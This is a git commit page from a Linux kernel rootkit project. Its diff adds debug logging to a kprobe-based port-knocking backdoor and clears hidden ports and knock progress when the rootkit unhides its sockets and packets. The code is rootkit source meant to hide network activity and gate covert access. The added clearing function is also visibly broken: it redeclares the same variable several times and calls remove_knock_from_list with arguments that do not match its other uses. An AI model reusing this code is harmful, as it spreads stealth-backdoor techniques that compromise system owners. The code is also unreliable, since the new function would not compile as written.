linux-rootkit

commit f428f5b8bb95aecf64b48edf68fc32e6e36a6a71
parent b850a019bbf776515b2a49e053dc0808cd531891
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 13:42:30 +0100

clears ports and knock progress when unhiding, adds debug info

Diffstat:
M
src/packhide.c
 | 
4
++++
M
src/porthide.c
 | 
9
+++++++++
M
src/sockhide.c
 | 
1
+

3 files changed, 14 insertions(+), 0 deletions(-)
diff --git a/src/packhide.c b/src/packhide.c
@@ -182,6 +182,8 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs)
                 if (stage3_knock(src_port)) {
                     DEBUG_NOTICE("[g7] knocked port %d, port knocking sequence completed\n", src_port);
                     add_knock_to_list(&ips_stage3_tail, ip, version);
+                } else {
+                    DEBUG_NOTICE("[g7] failed entering knock stage 3, incorrect port knocked (%d) - resetting knock progress\n", src_port);
                 }
 
                 remove_knock_from_list(&ips_stage2, &ips_stage2_tail, ip, version);
@@ -189,6 +191,8 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs)
                 if (stage2_knock(src_port)) {
                     add_knock_to_list(&ips_stage2_tail, ip, version);
                     DEBUG_NOTICE("[g7] knocked port %d, entering knocking stage 2\n", src_port);
+                } else {
+                    DEBUG_NOTICE("[g7] failed entering knock stage 2, incorrect port knocked (%d) - resetting knock progress\n", src_port);
                 }
 
                 remove_knock_from_list(&ips_stage1, &ips_stage1_tail, ip, version);
diff --git a/src/porthide.c b/src/porthide.c
@@ -86,6 +86,15 @@ stage3_knock(lport_t port)
 void
 clear_hidden_lports(void)
 {
+    lport_list_t_ptr i = ips_stage1_tail;
+    while ((i = remove_knock_from_list(i, i->lport)));
+
+    lport_list_t_ptr i = ips_stage2_tail;
+    while ((i = remove_knock_from_list(i, i->lport)));
+
+    lport_list_t_ptr i = ips_stage3_tail;
+    while ((i = remove_knock_from_list(i, i->lport)));
+
     lport_list_t_ptr i = hidden_lports_tail;
     while ((i = remove_lport_from_list(i, i->lport)));
 }
diff --git a/src/sockhide.c b/src/sockhide.c
@@ -96,6 +96,7 @@ unhide_sockets(void)
         sys_recvmsg = NULL;
 
         unhide_packets();
+        clear_hidden_lports();
     }
 }